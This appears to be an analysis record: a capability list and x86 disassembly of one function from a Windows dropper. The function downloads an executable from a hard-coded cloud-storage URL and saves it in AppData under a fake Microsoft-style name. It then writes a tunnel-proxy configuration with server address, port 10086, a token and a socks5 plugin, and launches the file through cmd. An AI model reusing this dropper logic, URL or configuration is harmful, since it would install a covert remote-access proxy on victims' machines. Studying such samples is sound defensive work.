Function at 0x411680
Capabilities:
Check if file exists
Check os version
Copy file
Create process on windows
Delete file
Delete registry value
Download url
Get common file path
Get comspec environment variable
Get file attributes
Query environment variable
Query or enumerate registry value
Receive data
Schedule task via at

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x439ca1
mov eax, dword fs:[0]
push eax
mov eax, 0x52f0
call fcn.0042dad0
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push 0x208
lea ecx, [ebp - 0x46c]
push 0
push ecx
mov dword [ebp - 0x52c0], eax
call fcn.00423160
add esp, 0xc
push 0x208
lea edx, [ebp - 0x264]
push 0
push edx
call fcn.00423160
add esp, 0xc
push 0x208
lea eax, [ebp - 0x674]
push 0
push eax
call fcn.00423160
add esp, 0xc
push 0x11c
xor edi, edi
lea ecx, [ebp - 0x52b4]
push edi
push ecx
call fcn.00423160
add esp, 0xc
lea edx, [ebp - 0x52b4]
push edx
mov dword [ebp - 0x52b4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4118c7
cmp dword [ebp - 0x52a4], 2
jne 0x4118c7
cmp dword [ebp - 0x52b0], 5
jbe 0x4118c7
lea eax, [ebp - 0x52bc]
push eax
push 8
mov dword [ebp - 0x52bc], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4118c7
mov edx, dword [ebp - 0x52bc]
mov ebx, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea ecx, [ebp - 0x52b8]
push ecx
push edi
push edi
push 0x19
push edx
mov dword [ebp - 0x52b8], edi
call ebx
test eax, eax
jne 0x4117f3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x4117f3
mov eax, dword [ebp - 0x52b8]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x4117f3
mov edx, dword [ebp - 0x52b8]
mov eax, dword [ebp - 0x52bc]
lea ecx, [ebp - 0x52b8]
push ecx
push edx
push esi
push 0x19
push eax
call ebx
test eax, eax
je 0x4117ec
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx edx, byte [eax]
mov eax, dword [esi]
dec edx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov edi, dword [eax]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x52bc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, 0x2000
ja 0x411968
je 0x411a21
test edi, edi
je 0x4118c7
cmp edi, 0x1000
jne 0x411980
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x46c]
push edx
push 0
push 0
push 0x1a
push 0
call edi
test eax, eax
js 0x412deb
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.MicrosoftFolderRedirectionWMIProviderPLS
lea eax, [ebp - 0x46c]
push eax
call esi
push 0
push 0x3000010
push 1
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x46c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea edx, [ebp - 0x46c]
push edx
call esi
lea eax, [ebp - 0x264]
push eax
push 0
push 0
push 0x1a
push 0
call edi
push str.RedirectionWMIProvider
lea ecx, [ebp - 0x264]
push ecx
call esi
lea edx, [ebp - 0x674]
push edx
push 0
push 0
push 0x1a
push 0
call edi
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea eax, [ebp - 0x674]
push eax
jmp 0x411abd
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea ecx, [ebp - 0x46c]
push ecx
push 0
push 0
push 0x1a
push 0
call edi
test eax, eax
js 0x412deb
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.MicrosoftFolderRedirectionWMIProviderPLS
lea edx, [ebp - 0x46c]
push edx
call esi
push 0
push 0x3000010
push 1
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea ecx, [ebp - 0x46c]
push ecx
call esi
lea edx, [ebp - 0x264]
push edx
push 0
push 0
push 0x1a
push 0
call edi
push str.RedirectionWMIProvider
lea eax, [ebp - 0x264]
push eax
call esi
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
push 0x1a
push 0
call edi
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea edx, [ebp - 0x674]
push edx
jmp 0x411abd
cmp edi, 0x3000
je 0x411a21
cmp edi, 0x4000
je 0x4118c7
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x46c]
push edx
push 0
push 0
push 0x1a
push 0
call edi
test eax, eax
js 0x412deb
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.MicrosoftFolderRedirectionWMIProviderPLS
lea eax, [ebp - 0x46c]
push eax
call esi
push 0
push 0x3000010
push 1
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x46c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea edx, [ebp - 0x46c]
push edx
call esi
lea eax, [ebp - 0x264]
push eax
push 0
push 0
push 0x1a
push 0
call edi
push str.RedirectionWMIProvider
lea ecx, [ebp - 0x264]
push ecx
call esi
lea edx, [ebp - 0x674]
push edx
push 0
push 0
push 0x1a
push 0
call edi
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea eax, [ebp - 0x674]
push eax
jmp 0x411abd
mov edi, dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x46c]
push eax
push 0
push 0
push 0x1a
push 0
call edi
test eax, eax
js 0x412deb
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.MicrosoftFolderRedirectionWMIProviderPLS
lea ecx, [ebp - 0x46c]
push ecx
call esi
push 0
push 0x3000010
push 1
push 0
push 3
push 0xc0000000
lea edx, [ebp - 0x46c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea eax, [ebp - 0x46c]
push eax
call esi
lea ecx, [ebp - 0x264]
push ecx
push 0
push 0
push 0x1a
push 0
call edi
push str.RedirectionWMIProvider
lea edx, [ebp - 0x264]
push edx
call esi
lea eax, [ebp - 0x674]
push eax
push 0
push 0
push 0x1a
push 0
call edi
push str.MicrosoftFolderRedirectionWMIProvider.exe
lea ecx, [ebp - 0x674]
push ecx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.taskkill__f__im_MicrosoftFolderRedirectionWMIProvider.exe
call esi
push 0
push str.taskkill__f__im_MicrosoftFolderRedirectionWMIProvider.exe
call esi
push 0
push str.taskkill__f__im_MicrosoftFolderRedirectionWMIProvider.exe
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x378
call ebx
lea edi, [ebp - 0x138c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x411af4
mov ecx, 8
mov esi, str.d41d8cd98f00b204e9800998ecf8427e
rep movsd dword es:[edi], dword [esi]
push 0x800
lea edx, [ebp - 0x5194]
push 0
push edx
movsb byte es:[edi], byte [esi]
call fcn.00423160
add esp, 0xc
push 0x800
lea eax, [ebp - 0x4194]
push 0
push eax
call fcn.00423160
mov edi, dword [ebp - 0x52c0]
add esp, 0xc
lea ecx, [ebp - 0x5194]
push edi
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3992]
push eax
mov word [ebp - 0x3994], dx
call fcn.00423160
lea ecx, [ebp - 0x3994]
add esp, 0x14
push ecx
mov ecx, str.PLS_lolocckA
call fcn.00410ba0
add esp, 4
lea edx, [ebp - 0x3994]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x411c88
push 0x3ff
push eax
mov byte [ebp - 0x1284], al
lea eax, [ebp - 0x1283]
push eax
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [ebp - 0x1284]
push ecx
push 0xffffffffffffffff
push edi
push 0
push 0
call esi
lea eax, [ebp - 0x1284]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411be0
sub eax, edx
lea edx, [ebp - 0x1284]
push edx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x1d92]
push ecx
mov word [ebp - 0x1d94], ax
call fcn.00423160
lea eax, [ebp - 0x1284]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411c21
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0x1284]
push edx
push 0
push 0
call ebx
lea ecx, [ebp - 0x1284]
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x411c50
push eax
sub ecx, esi
lea eax, [ebp - 0x1d94]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x1284]
push ecx
push 0
push 0
call ebx
push str.PLS_lolocckA
lea esi, [ebp - 0x1d94]
call fcn.00410d40
add esp, 4
jmp 0x411e28
push 0x208
lea edx, [ebp - 0x87c]
push 0
push edx
mov dword [ebp - 0x52bc], 0
call fcn.00423160
add esp, 0xc
lea eax, [ebp - 0x52bc]
push eax
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x52c0], 0x104
mov dword [ebp - 0x52b8], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [ebp - 0x52c0]
push ecx
mov ecx, dword [ebp - 0x52bc]
lea edx, [ebp - 0x87c]
push edx
lea eax, [ebp - 0x52b8]
push eax
push 0
push str.PLS_lolocckA
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x411d0c
push 0x22b
call ebx
jmp 0x412deb
push 0x3ff
lea edx, [ebp - 0x1283]
push 0
push edx
mov byte [ebp - 0x1284], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x87c]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [ebp - 0x1284]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call esi
lea eax, [ebp - 0x1284]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411d70
sub eax, edx
lea ecx, [ebp - 0x1284]
push ecx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1d92]
push eax
mov word [ebp - 0x1d94], dx
call fcn.00423160
lea eax, [ebp - 0x1284]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411db1
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x1284]
push ecx
push 0
push 0
call ebx
lea ecx, [ebp - 0x1284]
mov esi, eax
lea edi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411de0
push esi
sub ecx, edi
lea edx, [ebp - 0x1d94]
push edx
inc ecx
push ecx
lea eax, [ebp - 0x1284]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x1d94]
push ecx
lea edx, [ebp - 0x5194]
push 0x400
push edx
call fcn.004205b2
mov eax, dword [ebp - 0x52bc]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x4992]
push edx
mov word [ebp - 0x4994], cx
call fcn.00423160
lea eax, [ebp - 0x4994]
add esp, 0xc
push eax
mov ecx, str.PLS_lolocckB
call fcn.00410ba0
add esp, 4
lea ecx, [ebp - 0x4994]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x411ffc
push eax
call fcn.00421f1e
add esp, 4
push eax
call fcn.00421705
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
add esp, 4
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x52bc], eax
mov dword [ebp - 4], 0
call fcn.00421717
cdq
mov ecx, 0x2710
idiv ecx
lea edi, [ebp - 0x52bc]
add edx, 0xc350
push edx
push 0x43f9f4
call fcn.0040e9c0
push 0x3ff
lea edx, [ebp - 0xc7b]
push 0
push edx
mov byte [ebp - 0xc7c], 0
call fcn.00423160
mov edi, dword [ebp - 0x52bc]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x14
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0xc7c]
push eax
push 0xffffffffffffffff
push edi
push 0
push 0
call esi
lea eax, [ebp - 0xc7c]
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411f20
sub eax, esi
lea ecx, [ebp - 0xc7c]
push ecx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3192]
push eax
mov word [ebp - 0x3194], dx
call fcn.00423160
lea eax, [ebp - 0xc7c]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411f61
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0xc7c]
push ecx
push 0
push 0
call ebx
lea ecx, [ebp - 0xc7c]
mov esi, eax
lea eax, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x411f88
push esi
sub ecx, eax
lea edx, [ebp - 0x3194]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xc7c]
push eax
push 0
push 0
call ebx
push str.PLS_lolocckB
lea esi, [ebp - 0x3194]
call fcn.00410d40
add esp, 4
push edi
lea ecx, [ebp - 0x4194]
push 0x400
push ecx
call fcn.004205b2
lea eax, [edi - 0x10]
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x412198
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x412198
push 0x208
lea ecx, [ebp - 0x87c]
push 0
push ecx
mov dword [ebp - 0x52bc], 0
call fcn.00423160
add esp, 0xc
lea edx, [ebp - 0x52bc]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x52c0], 0x104
mov dword [ebp - 0x52b8], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x52c0]
push eax
mov eax, dword [ebp - 0x52bc]
lea ecx, [ebp - 0x87c]
push ecx
lea edx, [ebp - 0x52b8]
push edx
push 0
push str.PLS_lolocckB
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x412084
push 0x22b
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x412deb
push 0x3ff
lea ecx, [ebp - 0xc7b]
push 0
push ecx
mov byte [ebp - 0xc7c], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x87c]
push edx
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0xc7c]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x87c]
push ecx
push 0
push 0
call esi
lea eax, [ebp - 0xc7c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4120e2
sub eax, edx
lea edx, [ebp - 0xc7c]
push edx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x3192]
push ecx
mov word [ebp - 0x3194], ax
call fcn.00423160
lea eax, [ebp - 0xc7c]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412123
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0xc7c]
push edx
push 0
push 0
call ebx
lea ecx, [ebp - 0xc7c]
mov esi, eax
lea edi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412150
push esi
sub ecx, edi
lea eax, [ebp - 0x3194]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0xc7c]
push ecx
push 0
push 0
call ebx
lea edx, [ebp - 0x3194]
push edx
lea eax, [ebp - 0x4194]
push 0x400
push eax
call fcn.004205b2
mov ecx, dword [ebp - 0x52bc]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea edx, [ebp - 0x2193]
push 0
push edx
mov byte [ebp - 0x2194], 0
call fcn.00423160
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ecx
call fcn.00411540
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 4
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0x2194]
push eax
push 0xffffffffffffffff
push ecx
call fcn.00411540
add esp, 4
push eax
push 0
push 0
call esi
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x2992]
push edx
mov word [ebp - 0x2994], cx
call fcn.00423160
lea eax, [ebp - 0x2194]
add esp, 0xc
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412220
push 0
sub eax, esi
push 0
inc eax
push eax
lea eax, [ebp - 0x2194]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x2194]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412247
push esi
sub ecx, edi
lea edx, [ebp - 0x2994]
push edx
inc ecx
push ecx
lea eax, [ebp - 0x2194]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
lea edx, [ebp - 0x264]
push edx
push str.UMnwio9zv2FqxxUVMR0jWJnXhzGyjuwdGhyjE7NmuwPzPTn2oWYbUgHhroi6QH
push str.Type
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.ya4feBPz9quDWubPmy1BrWBrJ2epxBFxdZ2u51ne4Q6dcjTemYgPRQMGN5akXwRqkmPKRMc5ptX1Mccd9HRaBLKEd0AntxumwTZx
push str.Data
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.BaewDPQVGuCDzJTRtBkUeDMJndrtmjZKbAmYMcrLmmWGpRgkaMYNCzddPbwdRn
push str.testing
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.gur_:Jptzo.TaD_DeuHddcG__Pu__
push str.timening
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.1663323310
push str.mtime
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.VNFFpua5yY1W3sJHdbYxhDuFNPZX3jQ3
push str.rebuild
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push 0x440dd4
push 0x440dd8
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.2008_09_16_19:56:59
push str.lsctime
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.2008_09_16_21:58:58
push str.lstime
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.r9f.ChWsP1kbJyKw8DtwHn7j73hVdQumXrWmjdLT
push str.status
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x5194]
push ecx
push str.server_addr
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.10086
push str.server_port
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.false
push str.login_fail_exit
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.76nysyizo04zbt2
push str.token
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.lgooo
push str.log_file
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.error
push str.log_level
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push 0x440f84
push str.type
lea edx, [ebp - 0x2994]
push edx
call esi
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x4194]
push ecx
push str.remote_port
lea edx, [ebp - 0x2994]
push edx
call esi
lea eax, [ebp - 0x264]
push eax
push str.socks5
push str.plugin
lea ecx, [ebp - 0x2994]
push ecx
call esi
lea edx, [ebp - 0x264]
push edx
push str.127.0.0.1
push str.plugin_user
lea eax, [ebp - 0x2994]
push eax
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.127.0.0.1
push str.plugin_passwd
lea edx, [ebp - 0x2994]
push edx
call esi
lea eax, [ebp - 0x264]
push eax
push str.1211
push str.hotkey
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.4433
push str.InitSearchHotkey
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.5133
push str.SortDesktop
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.C_AcpXjck_DFWPyRUkm_mwUfjnzK_LUBG_vBGFmW_quoC__GUzvTtT
push str.DeskMirror
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.2Zy__3V5t_EUZxyp_0d9KE8.vJykM65shbB
push 0x441174
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.zme_BXuYsM__ksWAAsY__YDm:Qng.WVBT_Ago_r___hac_NtizLef_fA
push str.CloudRootPath
push str.common
call esi
lea eax, [ebp - 0x264]
push eax
push str.C:Windows_
push str.CloudUserPath
push str.common
call esi
lea ecx, [ebp - 0x264]
push ecx
push str.vycFda__FrUZ_et__CDzWbhutQ_u:p_nj_DF_gtoz_.a_YaqHkndi_Wyi
push str.show
push str.common
call esi
lea edx, [ebp - 0x264]
push edx
push str.htjyre
push 0x4412ec
push str.common
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [ebp - 0x674]
push eax
call ebx
cmp eax, 0xffffffff
jne 0x4129d5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4129d5
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x52b8], eax
push str.http:__trjdfhdfufgbsdt.oss_accelerate_overseas.aliyuncs.com_MicrosoftFolderRedirectionWMIProvider.exe
push 0x43fa88
lea edi, [ebp - 0x52b8]
mov dword [ebp - 4], 1
call fcn.0040e9c0
mov edi, dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
add esp, 8
xor ebx, ebx
push ebx
call edi
mov esi, dword [ebp - 0x52b8]
push esi
call edi
push ebx
push ebx
lea ecx, [ebp - 0x674]
push ecx
push esi
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
cmp eax, ebx
jne 0x4129a9
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea edx, [ebp - 0x674]
push edx
call edi
cmp eax, 0xffffffff
jne 0x412607
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x41294d
push 0x3ff
lea eax, [ebp - 0xc7b]
push ebx
push eax
mov byte [ebp - 0xc7c], bl
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
lea ecx, [ebp - 0x674]
push ecx
push ebx
push ebx
call esi
push ebx
push ebx
push eax
lea edx, [ebp - 0xc7c]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x674]
push eax
push ebx
push ebx
call esi
lea ecx, [ebp - 0x5c]
push ecx
lea edx, [ebp - 0xc7c]
push edx
call fcn.00411400
lea eax, [ebp - 0x138c]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call fcn.00422310
add esp, 0x10
test eax, eax
jne 0x41294d
mov ecx, str.c5221da4df76e597588be03fc1372e55
lea eax, [ebp - 0x5c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4126a3
test dl, dl
je 0x41269f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4126a3
add eax, 2
add ecx, 2
test dl, dl
jne 0x412683
xor eax, eax
jmp 0x4126a8
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x41294d
lea edx, [ebp - 0x46c]
push edx
call edi
cmp eax, 0xffffffff
jne 0x4126f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4126f6
push ebx
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x674]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x4127c6
lea ecx, [ebp - 0x52b8]
call fcn.0040e160
jmp 0x412deb
push 0x3ff
lea edx, [ebp - 0x1993]
push ebx
push edx
mov byte [ebp - 0x1994], bl
call fcn.00423160
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
lea eax, [ebp - 0x46c]
push eax
push ebx
push ebx
call esi
push ebx
push ebx
push eax
lea ecx, [ebp - 0x1994]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x46c]
push edx
push ebx
push ebx
call esi
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x1994]
push ecx
call fcn.00411400
lea edx, [ebp - 0x138c]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00422310
add esp, 0x10
test eax, eax
je 0x412774
push ebx
lea ecx, [ebp - 0x46c]
push ecx
lea edx, [ebp - 0x674]
push edx
jmp 0x4126d8
mov ecx, str.c5221da4df76e597588be03fc1372e55
lea eax, [ebp - 0x38]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4127a0
test dl, dl
je 0x41279c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4127a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x412780
xor eax, eax
jmp 0x4127a5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x4127c6
push ebx
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x674]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x41294d
push 0x208
lea edx, [ebp - 0x108c]
push ebx
push edx
call fcn.00423160
add esp, 0xc
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x46c]
push ecx
lea edx, [ebp - 0x108c]
push str.__s___c___s_
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x206
lea ecx, [ebp - 0x87a]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x87c], ax
call fcn.00423160
add esp, 0x1c
push 0x206
lea eax, [ebp - 0x1592]
xor edx, edx
push ebx
push eax
mov word [ebp - 0x1594], dx
call fcn.00423160
add esp, 0xc
push 0x206
lea edx, [ebp - 0xe82]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0xe84], cx
call fcn.00423160
add esp, 0xc
push 0x208
lea eax, [ebp - 0x87c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
lea ecx, [ebp - 0x87c]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0x208
lea eax, [ebp - 0x1594]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str._c__
lea ecx, [ebp - 0xe84]
push ecx
call esi
lea edx, [ebp - 0x108c]
push edx
lea eax, [ebp - 0xe84]
push eax
call esi
push 0x441420
lea ecx, [ebp - 0xe84]
push ecx
call esi
lea ecx, [ebp - 0x52fc]
lea edx, [ebp - 0x1594]
lea eax, [ebp - 0xe84]
push ecx
mov dword [ebp - 0x52fc], 0x3c
mov dword [ebp - 0x52f4], ebx
mov dword [ebp - 0x52f0], 0x441424
mov dword [ebp - 0x52ec], edx
mov dword [ebp - 0x52e8], eax
mov dword [ebp - 0x52e4], ebx
mov dword [ebp - 0x52e0], ebx
mov dword [ebp - 0x52f8], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x41295d
mov edx, dword [ebp - 0x52c4]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push edx
call esi
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
